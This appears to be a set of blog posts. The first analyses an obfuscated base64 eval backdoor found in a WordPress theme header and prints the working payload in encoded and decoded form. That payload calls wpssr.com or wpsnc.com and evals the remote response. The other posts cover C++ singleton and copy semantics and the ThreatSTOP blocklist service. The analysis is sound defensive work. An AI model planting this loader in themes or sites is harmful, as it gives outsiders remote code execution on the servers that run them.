Audit Those 3rd Party Themes and Plugins Before Enabling Them

I found a nice theme that I thought would be great for my site. I went ahead and installed it and set it as my current theme. I liked it, but it needed some tweaking. I went in and manipulated the stylesheet to change colors, positions, etc. I needed to make some changes to the header file. I opened it up in vi and started scrolling through it. I found something in there that I hadn’t expected to find. A piece of PHP code with an eval of a base64 encoded string. Here is the line I am refering to:


@eval(@base64_decode('aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMD\
kxNiA9IEBmc29 ja29wZW4oInd3dy53cHNzci5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0R\
kZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0M\
DYyOThFMywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid\
3Bzc3IiOyBlbHNlaWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNiA9I\
EBmc29ja29wZW4oInd3dy53cHNuYy5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFM\
kZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFM\
ywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMiO\
yBlbHNlICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMyI\
jsgQGV2YWwoJyRSMTRBRjFCRTlFRTI2QTkwOTIxRTY0QTgyRTc4MzY3OTcgPSAxOycpO\
yBpZigkUjE0QUYxQkU5RUUyNkE5MDkyMUU2NEE4MkU3ODM2Nzk3IEFORCBpbmlfZ2V0K\
CdhbGxvd191cmxfZm9wZW4nKSkgeyAgJFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFN\
jA1QjY5NiA9ICIxIjsgICRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUgP\
SAiaHR0cDovL3d3dy4kUjUwRjVGOUM4MEYxMkZGQUU4QjI0MDA1MjhFODFCMzRFLmNvb\
S93JFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5Ni5waHA/dXJsPSIuIHVyb\
GVuY29kZSgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiImIi4gImhvc3Q9Ii4gdXJsZ\
W5jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7ICAkUjNFMzNFMDE3Q0Q3NkI5QjdFN\
kM3MzY0RkI5MUUyRTkwID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRSNkU0RjE0QjMzNTI0M\
0JFNjU2QzY1RTNFRDlFMUIxMTUpOyAgQGV2YWwoJFIzRTMzRTAxN0NENzZCOUI3RTZDN\
zM2NEZCOTFFMkU5MCk7IH0gZWxzZSB7ICAkUkQzRkU5QzEwQTgwOEE1NEVBMkEzREJEO\
UU2MDVCNjk2ID0gIjAiOyAgJFI2RTRGMTRCMzM1MjQzQkU2NTZDNjVFM0VEOUUxQjExN\
SA9ICJodHRwOi8vd3d3LiRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUuY\
29tL3ckUkQzRkU5QzEwQTgwOEE1NEVBMkEzREJEOUU2MDVCNjk2LnBocD91cmw9Ii4gd\
XJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIiYiLiAiaG9zdD0iLiB1c\
mxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsgIEByZWFkZmlsZSgkUjZFNEYxN\
EIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1KTsgfSBmY2xvc2UoJFIzN0MwMTREQUU1R\
kU0RkU1Qzc3QjY3MzVBQkMzMDkxNik7'));

I am always very suspicious when someone obfuscates a piece of code on a web server or in a javascript. I quickly copied the code into a test file, altered it to print out the decode to stdout. Here is what the decode produced:


if($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpssr.com"\
, 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, \
$R5F525F5B398DADD7CF0784BD406298E3, 3)) {
$R50F5F9C80F12FFAE8B2400528E81B34E = "wpssr";
}
elseif($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpsnc.com"\
, 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, \
$R5F525F5B398DADD7CF0784BD406298E3, 3)) {
$R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc";
}
else {
$R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc2";
}
@eval($R14AF1BE9EE26A90921E64A82E7836797 = 1);
if($R14AF1BE9EE26A90921E64A82E7836797 AND \
ini_get('allow_url_fopen')) {
@eval($RD3FE9C10A808A54EA2A3DBD9E605B696 = "1");
$R6E4F14B335243BE656C65E3ED9E1B115 = \
"http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com\
/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". \
urlencode($_SERVER['REQUEST_URI']) ."&". "host=". \
urlencode($_SERVER['HTTP_HOST']);
$R3E33E017CD76B9B7E6C7364FB91E2E90 = \
@file_get_contents($R6E4F14B335243BE656C65E3ED9E1B115);
}
else
{
@eval($RD3FE9C10A808A54EA2A3DBD9E605B696 = "0");
$R6E4F14B335243BE656C65E3ED9E1B115 = \
"http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com\
/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". \
urlencode($_SERVER['REQUEST_URI']) ."&". \
"host=". urlencode($_SERVER['HTTP_HOST']);
readfile($R6E4F14B335243BE656C65E3ED9E1B115);
}
fclose($R37C014DAE5FE4FE5C77B6735ABC30916);

It appears that the script attempts to open a connection to the site “www.wpssr.com”, if successful, it sets a base url variable to “wpssr”. If this fails it attempts to open a connection to “www.wpsnc.com”, if successful, it sets the base url variable to “wpsnc”. If both of these fail, it sets the base url variable to “wpsnc2″.

Once the base url variable is set, it sets another variable to true using an eval call. Then it varifies this variable is true and that the php installation running on the server allows scripts to open urls as file handles. If this is true, it sets another variable (call it filename) to “1″. The url is then formed by concatenating the base url variable, the filename variable, the request URI and the server hostname. The full url will look something like this “http://www.wpssr.com/w1.php?url=index.php&host=codescout.org”. Next the request is made and the response is assigned to a response variable. The contents of the response are then run through a eval call. This is very very very dangerous, since unknown and untrusted code can be run on your server!

If your server does not allow opening of urls as filenames, the url is constructed like the above example, except that the filename is w0.php. The url is then sent as an argument to the readfile function which will retrieve and output the contents.

I tested the request and the response is empty. I don’t believe the theme’s author was attempting anything malicious. The script appears to be a method to allow him/her to track who is using the theme.

I think the potential for abuse of this script is huge. I see it as a covert channel to setup Word Press enabled sites as thin zombies. The code being sent back to the server and eval’d could be a mailing script for spam or phishing.

The eval function is a dangerous feature of PHP. It may provide convenience and flexibility for a PHP developer, but it is also too easy to abuse. If you are using a CMS or Application Framework that makes use of the eval function in PHP, you have to take the time and review the code. Especially any plugins or themes written by a third party.

First Class Objects, Polymorphic Objects, and Singletons

Here is a good explanation of First Class Objects, Polymorphic Objects, and Singletons that my FSU Professor, Dr. Chris Lacher posted.

Question received by other means:

In the requirements [for Project 1] you call for the copy constructor and the assignment operator to be private for each class. Shouldn’t they be public for the classes to be fully qualified types?

Yes. But there’s a lot more underneath this question. First some terminology:

  1. A class that is what we call “proper type” is often called a first class type.
  2. A type that is intended to be used in a polymorphic environment (such as our tracker project) is called a polymorphic type.
  3. A type for which there should be only one instance in a given namespace is called a singleton.

(These terms apply, ambiguosly, to either classes or objects.) All of these are related to the question - why make the copy constructor and assignment operator private, and what are the implications?

Singletons. Note that if the copy ctor and operator= are private, then no client program may use them. The effect is that a client program is not allowed to make copies of these objects - either explicitly (using operator=) or implicitly (using copy ctor). The client program attempting to call a function by value with one of these objects as argument, or assign one to another, will get a compile error. You prevent the class implementation code from making copies by not implementing these methods, so they too will get an error if one is used, albeit from the linker instead of the compiler. Thus both (1) making the copy ctor and operator= private and (2) omitting implementations for them will serve to make the object a singleton. (There is more to it than this, but this is an excellent start.)

Polymorphic objects. In polymorphism, if object copies are allowed, they are usually made with a public member function named Clone() that returns a pointer to a copy of this object. In this situation, you want the copy ctor and operator= private, but you do provide implementations. Then you have a method Clone() that is implemented something like:

X* X::Clone {return Xptr = new X (*this);} // calls copy ctor

Note that in a polymorphic setting, we are typically using pointers to type X (and its derived classes). If the client program has two pointers, p1 and p2, and wants p2 to be a (deep) copy of p1, the code would be

p2 = p1->Clone();

First Class Objects. These are objects from a proper type. They behave just like a native type such as char, int, or float. Yu can assign to or from them and let them go out of scope with no unfortunate consequences.

What we have done in project 1 is make the various classes singletons. We could make the types polymorphic, but there was no need, and it’s a can of worms. You will run into these ideas again, either in school or professionally.

ThreatSTOP

My good friend Tom Byrnes has conceived and created a blocker list service that is distributed via DNS as a feed. These threat feeds are built from several sources including the Internet Storm Center - DSHEILD, TQM3, and subscribers voluntarily submitted log files. This provides a user with a listing of the major threats that have risen above the “noise” on the net. Unlike a LAN based IDS/IPS, each bad player is identified by several sources instead one, which significantly reduces the chance of a false positive. This service is known as ThreatSTOP (http://www.threatstop.com)

Implementing ThreatSTOP is extremely easy to get up and running on specific firewall platform.